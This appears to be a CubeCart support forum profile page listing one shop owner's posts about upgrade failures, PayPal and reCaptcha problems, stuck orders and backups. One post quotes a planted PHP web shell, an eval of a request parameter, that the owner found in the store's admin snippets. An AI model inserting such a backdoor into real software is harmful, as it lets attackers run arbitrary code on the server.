Jump to content

Robin Somes

Member
  • Posts

    101
  • Joined

  • Last visited

  • Days Won

    2

Everything posted by Robin Somes

  1. Site: piscesconservation.com/cube CC 6.4.10/All In One Shipping 1.0.24/Facebook 1.0.1/PayPal Commerce Platform 1.7.8/PayPal standard payment gateway 1.0.8 (disabled)/Product Addons 1.0.14/SagePay 1.0.12 Default skin I've attempted to upgrade from CC 6.4.1 to 6.5.1 this morning, and the installation has stalled half way, with the following warning: The following errors were detected: Hosting not compatible. Please rectify or setup a hosted CubeCart store instantly at https://hosted.cubecart.com. Compatibility Check 8.1.16PHP 7.1+ (8.1 Recommended) 10.2.43MySQL 5.5+ Not InstalledGD Image Library InstalledSimple XML Parser InstalledcURL InstalledZip (ZipArchive) Installedmbstring (Multibyte String) The site still appears to be working; the error message reports that the site is upgraded to v 6.5.1, but the databases remain on v 6.4.1 (or words to that effect; I can't recall exactly). Looking at my hosting Control Panel, the server is running PHP 8.1, and the GD extension is enabled (or at least, the box to enable it is ticked, and always has been). I've asked my hosting company to enable GD, if it isn't already; so far no reply from them. Questions: 1. Is the requirement for GD Image Library a new thing with version 6.5.1? 2. If not, how has my previous version of CC been working? 3. Anyone else encountered a similar issue in upgrading?
  2. Debug Messages: [0] HookLoader::load:279:Whoa! Safe Mode is enabled! [1] HookLoader::load:279:Whoa! Safe Mode is enabled! [2] HookLoader::load:279:Whoa! Safe Mode is enabled! [3] HookLoader::load:279:Whoa! Safe Mode is enabled! [4] HookLoader::load:279:Whoa! Safe Mode is enabled! [5] HookLoader::load:279:Whoa! Safe Mode is enabled! [6] HookLoader::load:279:Whoa! Safe Mode is enabled! [7] HookLoader::load:279:Whoa! Safe Mode is enabled! [8] HookLoader::load:279:Whoa! Safe Mode is enabled! [9] HookLoader::load:279:Whoa! Safe Mode is enabled! [10] HookLoader::load:279:Whoa! Safe Mode is enabled! [11] HookLoader::load:279:Whoa! Safe Mode is enabled! [12] HookLoader::load:279:Whoa! Safe Mode is enabled! [13] HookLoader::load:279:Whoa! Safe Mode is enabled! [14] HookLoader::load:279:Whoa! Safe Mode is enabled! [15] HookLoader::load:279:Whoa! Safe Mode is enabled! [16] HookLoader::load:279:Whoa! Safe Mode is enabled! [17] HookLoader::load:279:Whoa! Safe Mode is enabled! [18] HookLoader::load:279:Whoa! Safe Mode is enabled! [19] HookLoader::load:279:Whoa! Safe Mode is enabled! [20] HookLoader::load:279:Whoa! Safe Mode is enabled! [21] HookLoader::load:279:Whoa! Safe Mode is enabled! [22] HookLoader::load:279:Whoa! Safe Mode is enabled! [23] HookLoader::load:279:Whoa! Safe Mode is enabled! [24] HookLoader::load:279:Whoa! Safe Mode is enabled! [25] HookLoader::load:279:Whoa! Safe Mode is enabled! [26] HookLoader::load:279:Whoa! Safe Mode is enabled! [27] HookLoader::load:279:Whoa! Safe Mode is enabled! [28] HookLoader::load:279:Whoa! Safe Mode is enabled! [29] HookLoader::load:279:Whoa! Safe Mode is enabled! [30] HookLoader::load:279:Whoa! Safe Mode is enabled! [31] HookLoader::load:279:Whoa! Safe Mode is enabled! [32] HookLoader::load:279:Whoa! Safe Mode is enabled! [33] HookLoader::load:279:Whoa! Safe Mode is enabled! [34] HookLoader::load:279:Whoa! Safe Mode is enabled! [35] HookLoader::load:279:Whoa! Safe Mode is enabled! [36] HookLoader::load:279:Whoa! Safe Mode is enabled! [37] Cubecart::_listPaymentOptions:2319:Gateways? Yes:How many? 1 [38] Cubecart::_listPaymentOptions:2322:Gateway => Array ( [module_id] => 1584 [module] => gateway [folder] => SagePay [status] => 1 [default] => 1 [countries] => [position] => 0 ) [39] HookLoader::load:279:Whoa! Safe Mode is enabled! [40] HookLoader::load:279:Whoa! Safe Mode is enabled! [41] HookLoader::load:279:Whoa! Safe Mode is enabled! [42] HookLoader::load:279:Whoa! Safe Mode is enabled! [43] HookLoader::load:279:Whoa! Safe Mode is enabled! [44] HookLoader::load:279:Whoa! Safe Mode is enabled! [45] HookLoader::load:279:Whoa! Safe Mode is enabled! [46] HookLoader::load:279:Whoa! Safe Mode is enabled! [47] HookLoader::load:279:Whoa! Safe Mode is enabled! [48] HookLoader::load:279:Whoa! Safe Mode is enabled! [49] HookLoader::load:279:Whoa! Safe Mode is enabled! [50] HookLoader::load:279:Whoa! Safe Mode is enabled! [51] HookLoader::load:279:Whoa! Safe Mode is enabled! [52] HookLoader::load:279:Whoa! Safe Mode is enabled! [53] HookLoader::load:279:Whoa! Safe Mode is enabled! [54] HookLoader::load:279:Whoa! Safe Mode is enabled! [55] HookLoader::load:279:Whoa! Safe Mode is enabled! [56] HookLoader::load:279:Whoa! Safe Mode is enabled! [57] HookLoader::load:279:Whoa! Safe Mode is enabled! [58] HookLoader::load:279:Whoa! Safe Mode is enabled! [59] HookLoader::load:279:Whoa! Safe Mode is enabled! [60] HookLoader::load:279:Whoa! Safe Mode is enabled! [61] HookLoader::load:279:Whoa! Safe Mode is enabled! [62] HookLoader::load:279:Whoa! Safe Mode is enabled! [63] HookLoader::load:279:Whoa! Safe Mode is enabled! [64] HookLoader::load:279:Whoa! Safe Mode is enabled! [65] HookLoader::load:279:Whoa! Safe Mode is enabled! [66] HookLoader::load:279:Whoa! Safe Mode is enabled! [67] HookLoader::load:279:Whoa! Safe Mode is enabled! [68] HookLoader::load:279:Whoa! Safe Mode is enabled! [69] HookLoader::load:279:Whoa! Safe Mode is enabled! [70] HookLoader::load:279:Whoa! Safe Mode is enabled! [71] HookLoader::load:279:Whoa! Safe Mode is enabled! [72] HookLoader::load:279:Whoa! Safe Mode is enabled! [73] HookLoader::load:279:Whoa! Safe Mode is enabled! [74] HookLoader::load:279:Whoa! Safe Mode is enabled! [75] HookLoader::load:279:Whoa! Safe Mode is enabled! [76] HookLoader::load:279:Whoa! Safe Mode is enabled! [77] HookLoader::load:279:Whoa! Safe Mode is enabled! [78] HookLoader::load:279:Whoa! Safe Mode is enabled! [79] HookLoader::load:279:Whoa! Safe Mode is enabled! [80] HookLoader::load:279:Whoa! Safe Mode is enabled! [81] HookLoader::load:279:Whoa! Safe Mode is enabled! [82] HookLoader::load:279:Whoa! Safe Mode is enabled! [83] HookLoader::load:279:Whoa! Safe Mode is enabled! [84] HookLoader::load:279:Whoa! Safe Mode is enabled! [85] HookLoader::load:279:Whoa! Safe Mode is enabled! [86] HookLoader::load:279:Whoa! Safe Mode is enabled! [87] HookLoader::load:279:Whoa! Safe Mode is enabled! [88] HookLoader::load:279:Whoa! Safe Mode is enabled! [89] HookLoader::load:279:Whoa! Safe Mode is enabled! [90] HookLoader::load:279:Whoa! Safe Mode is enabled! [91] HookLoader::load:279:Whoa! Safe Mode is enabled! [92] HookLoader::load:279:Whoa! Safe Mode is enabled! [93] HookLoader::load:279:Whoa! Safe Mode is enabled! [94] HookLoader::load:279:Whoa! Safe Mode is enabled! [95] HookLoader::load:279:Whoa! Safe Mode is enabled! [96] HookLoader::load:279:Whoa! Safe Mode is enabled! [97] HookLoader::load:279:Whoa! Safe Mode is enabled! [98] HookLoader::load:279:Whoa! Safe Mode is enabled! [99] HookLoader::load:279:Whoa! Safe Mode is enabled! [100] HookLoader::load:279:Whoa! Safe Mode is enabled! [101] HookLoader::load:279:Whoa! Safe Mode is enabled! [102] HookLoader::load:279:Whoa! Safe Mode is enabled! [103] HookLoader::load:279:Whoa! Safe Mode is enabled! [104] HookLoader::load:279:Whoa! Safe Mode is enabled! [105] HookLoader::load:279:Whoa! Safe Mode is enabled! [106] HookLoader::load:279:Whoa! Safe Mode is enabled!
  3. Many thanks. Done all that: Debug Messages: [0] Cubecart::_listPaymentOptions:2319:Gateways? Yes:How many? 1 [1] Cubecart::_listPaymentOptions:2322:Gateway => Array ( [module_id] => 1584 [module] => gateway [folder] => SagePay [status] => 1 [default] => 1 [countries] => [position] => 0 )
  4. Hi Brian, Any further insight on where to look next?
  5. The file exists in the correct folder, with permissions set to 0644. In the DB table the relevant row appears exactly as you suggest it should be.
  6. Site: piscesconservation.com/cube CC 6.4.10/All In One Shipping 1.0.24/Facebook 1.0.1/PayPal Commerce Platform 1.7.8/PayPal standard payment gateway 1.0.8 (disabled)/Product Addons 1.0.14/SagePay 1.0.12 Default skin The option to pay using PayPal is no longer available on our shop site. Looking through past orders, we've not had a single PayPal payment since October 2022, when prior to that PayPal accounted for 60 - 70% of our payments. Checking under Extensions/Manage extensions, PayPal Commerce Platform is still enabled, with no obvious warnings. Under Request Log, from the update to CC 6.4.10 I did this morning, CubeCart seems to be talking to https://api.paypal.com OK. Checking our PayPal account, CubeCart is still listed in the API Permissions section. Checking the previous orders and update log, it seems we've not taken a PayPal payment since September 9th 2022. This, as I mentioned above, is most unusual. I upgraded the site to CC 6.4.4 on September 12th. Is it feasible that something in version 6.4.4 broke the list of payment gateways available, and that hasn't yet been un-broken? Finally, looking at Dashboard: Maintenance: Database maintenance, the database db{REDACTED}_cubecart.CubeCart_order_summary has a warning attached: "has a key type KEY but expecting UNIQUE KEY". I don't know if this is relevant, but report it anyway. All other DBs are reported as OK. Where should I start looking next? Robin
  7. ... while looking at the Request Log in the site admin, there does not appear to be any log entries for a reCaptcha attempt in the last 48 hours. Previous attempts have been logged, i.e. Request Sent (cURL) - https://www.google.com/recaptcha/api/siteverify?secret={REDACTED}&response={REDACTED}secret={REDACTED}&response={REDACTED}&remoteip={REDACTED} Response received (200 - OK){ "success": true, "challenge_ts": "2023-02-17T23:20:31Z", "hostname": "piscesconservation.com" }
  8. Site: piscesconservation.com/cube CC 6.4.9/All In One Shipping 1.0.24/Facebook 1.0.1/PayPal Commerce Platform 1.7.8/PayPal standard payment gateway 1.0.8 (disabled)/Product Addons 1.0.14/SagePay 1.0.12 Default skin Google reCaptcha v2 (Invisible - recommended) I've had a customer report an error in trying to make a purchase of a physical item on our site. The customer is using a card registered to his US home address, but is currently in the UK and wishes the item to be sent to a UK address. He adds the item to his cart, then clicks to go through to checkout. He enters his home and delivery addresses, and clicks Update Basket. At that point he gets the following error, and can't proceed any further: The following errors were detected: The verification code was incorrect. Please try again. I have tried myself, several times, with a variety of US and/or UK addresses, and I am seeing exactly the same problem. From reading old reports here, I assume it might be connected to Google reCaptcha. We've not had any other orders, or complaints about problems, for about 3 weeks, but prior to that it was all working normally. Any clues? Robin
  9. Site: piscesconservation.com/cube CC 6.4.7/All In One Shipping 1.0.24/Facebook 1.0.1/PayPal Commerce Platform 1.7.7/PayPal standard payment gateway 1.0.8 (disabled)/Product Addons 1.0.14/SagePay 1.0.12 I may have to restore from a backup shortly. Looking at the CC-generated backups I've taken over the years, they all have one feature in common: the folders in the "file" backup (e.g. files_6.4.7_31Jan23-100845.zip) are all completely empty. Just to set my mind at rest; is this as it should be? Or have I missed some crucial step in doing the backup? TIA, Robin
  10. If you know that you have received the payment, but the order is still set on "Pending": 1. Change the status of the order to "Processing"; click the "Save and reload" button. 2. Change the status of the order to "Completed"; click the "Save and Reload button. Then, the correct emails will be sent out, as bsmither suggests. I have tried it, and it works.
  11. 1. I've switched back to PHP 5.6. Nothing has happened, except that the error messages, on both the shop site and admin pages, changed from "HTTP 500 ERROR" back to "PHP 5.6.40 detected. CubeCart requires PHP 7.1 or higher." Not really surprising. 2. I've added the line you suggest to global.inc.php. No change; still not able to see the site, or the admin pages, let alone log in to them. So, the upgrade to CC 6.4.7 appears truly stuck half way. If I understand correctly, CC 6.4.7 *cannot* be installed on a system running PHP below version 7.1. So my option now is: A. Staying set on PHP version 5.6.40, restore yesterday's backup, by copying over the whole contents of the backup by FTP, being cognisant of changes in file names (i.e. the folder 'admin' in the backup is 'admin_{RanDOmLEttERs}' on the site, and 'admin.php' in the backup is 'admin_{RANDOMNESS}.php on the site). B. Deleting or renaming the folder "setup"? C. When it's restored, log in, make sure things are in order, and check whether updates for Noodleman's ProductAddOns and any other plugins are required for later PHP versions. D. Get them, and install them. E. Take another backup just in case. F. Log out of admin. G. Switch to PHP v. 7.4. H. Log back in, take yet another backup. I. Attempt the upgrade to CC 6.4.7 again. Would that be correct? Apart from ProductAddons, the other plugins we have installed are AllInOneShipping / Facebook / PayPal Commerce Platform / PayPal Standard Gateway (disabled) / SagePay - as far as I can tell, all were on the latest available versions.
  12. Many thanks; I'll experiment and see. Unfortunately many of our customers are once-only purchasers, so they tend not to register.
  13. Thanks Brian, I'll try that. I have Noodleman's All In One plugin which, as you suggest, probably requires an updated version.
  14. ... perhaps it is related to enabling certain PHP modules in the higher version of PHP?
  15. Site: piscesconservation.com/cube CC 6.4.4 / PayPal Commerce 1.7.2 I currently have a non-functioning shop site, having tried to update from CC 6.4.4 to 6.4.7 this morning (yes, I did take a full backup first ) When I kicked off the upgrade process, it swiftly failed, giving the error message "PHP 5.6.40 detected. CubeCart requires PHP 7.1 or higher." Trying to reach both the admin page and the shop site gave the same error. The site has run comfortably on PHP 5.6.40 for years, but I fully appreciate the wisdom of running a more recent version. I've now got our ISP to switch to PHP v. 7.1. Since then, both the shop site and admin pages are still unobtainable, but the error message has changed to "HTTP 500 ERROR". If someone could point out how to resume the upgrade, and see anything other than an error message, I'd be most grateful. Many thanks, Robin
  16. Site: piscesconservation.com/cube CC 6.4.4 / PayPal Commerce 1.7.2 We have a long-recurring issue (which I may well have reported here before but can't find) of orders getting stuck on "Pending". A non-trivial proportion of our orders get stuck when the payment gateway is PayPal. To the non-expert (me) it looks as if the payment is received by PP, but the confirmation response from PP does not make it back to the shop site. We receive an email from PP saying that we have received the payment. However, as far as the shop is concerned, the order status is still "Pending", and no 'Order Successful' or 'Your Purchased Downloads' emails ever get sent to the customer. I can log in to the admin pages and manually change the order to "Completed"; that sends an "Order Confirmation" email to the customer, but no email with download links for their purchases. The customer then starts emailing us grumpily asking where their downloads are. (1) Is there any advance on why this problem might occur with PayPal, and any way to get round it? (2) Is there any way to send out the "Your Purchased Downloads" email, after the event, i.e. manually rather than automatically? Currently we have to either copy/paste the link(s) from the order page into an email, or upload the files to a public Dropbox folder and share them that way. Many thanks, Robin
  17. Thank you, Al. The code changes are not especially complex, and I annotated them reasonably well at the time and kept copies of the amended files. The more complex issue (for me at least) is getting the site from our old legacy server - which isn't capable of running the more recent versions, hence all sorts of grief - to the new platform (which is hosted by the same ISP). Assuming your managed support plan is the advertised £40/month plus setup costs, that seems reasonable, so we'll likely go for that option, as soon as we've provisioned the new platform. Thanks again.
  18. We're very shortly moving our shop to a new server, and in the process, updating CC from the aged 6.06 (yes, I know...) to the most recent version. My assumption is that the process, simplified, should go more or less as follows: 1. Take backups of existing site. 2. Re-acquaint self with code modifications, and the reasons for them. 3. Install old version of CC on new server. 4. Import site from backups. 5. Re-apply code mods. 6. Ensure site is working and take more backups. 7. Update CC to the latest version. 8. Re-apply code mods. 9. Update plugins. Am I missing anything crucial? Shop: www.piscesconservation.com/cube CC: 6.0.6, Skin: Foundation, Plugins: All In One Shipping, Facebook, PayPal, ProductAddons, SagePay
  19. Just reading about 'eval' - specifically the bits about "don't use this thing under any circumstances whatsoever" and it does look that way. Downloading the whole site to see if I can work out which files have been attacked; I'll follow up the link you posted, thanks again. .
  20. There is one code snippet, entitled snippetuP6LO, triggered by controller.index. The code within it is: <?php eval($_REQUEST["uP6LO"]);?> I certainly haven't added this, but (since I've not looked at that section of the admin pages) I've no idea if it is intended to be there or not.
  21. Thank you DirtyButter; I am trying that now. One issue uncovered so far; testing the SMTP relay in CC's Store Settings showed that it had lost or corrupted the SMTP password. How, I don't know; I've neither changed it or deleted it. Re-entering the password restores the emails to us announcing the sale. But there are still no download links on the customer's receipt for the payment.
  22. CC 6.06, All In One Shipping 1.0.6, Product AddOns 1.0.5 At some point in the last 3 weeks, the behaviour of our CubeCart site has changed. The site is at: www.piscesconservation.com/cube Purchasers of digital products no longer receive emails containing a download link, or get taken to a page where they can download their purchase after payment is completed. Nor do we receive emails from the site announcing the sale (we do get an email from Sagepay, but as always that only marks the transaction, and doesn't contain full order details). Instead, the customer starts emailing us in anguish after 24 hours or so without their product. Not a situation we'd like to continue. Customers who order physical products continue to receive emails as they should, still see an online receipt for their payment, and we still get the correct notification from the site. This suggests that there's nothing wrong with the mechanism of actually sending mail from the site, rather, the means of generating the mail, when a digital product is involved. I've put through a test transaction of just a digital product, with the result as reported by our customers - no emailed link, no clickable download link on the receipt page, plus no email sent to us from the site (but notifications from Sagepay to us and the purchaser about the transaction). A test transaction of a combination of digital and physical items produced the same result: no download links, no email to us from the site, but Sagepay mails to the purchaser and to us. Emails are not, so far as we can ascertain, ending up in Spam folders. Our ISP's SMTP Outbound service, which allows the site to send emails, is paid up to date, apparently working, and hasn't been discontinued, and has not been blocked for abuse. We have changed nothing about the site, I'm not aware that our ISP has (for instance) lost a server and had to restore from backups, and to the best of our knowledge the site has not been hacked. It used to work, it doesn't now. So, can anyone suggest where to start tracking down the issue?
  23. We haven't, but thanks for the suggestion. For the moment, our existing arrangement works (and is free); in the long run it would be nice if mailing could be integrated into the shop via CC.
  24. Many thanks. For now we'll go with our existing mailing arrangement outside of CubeCart. Looking forward to a fix as and when, because in the long term the newsletter facility in CC is superior. Robin
×
×
  • Create New...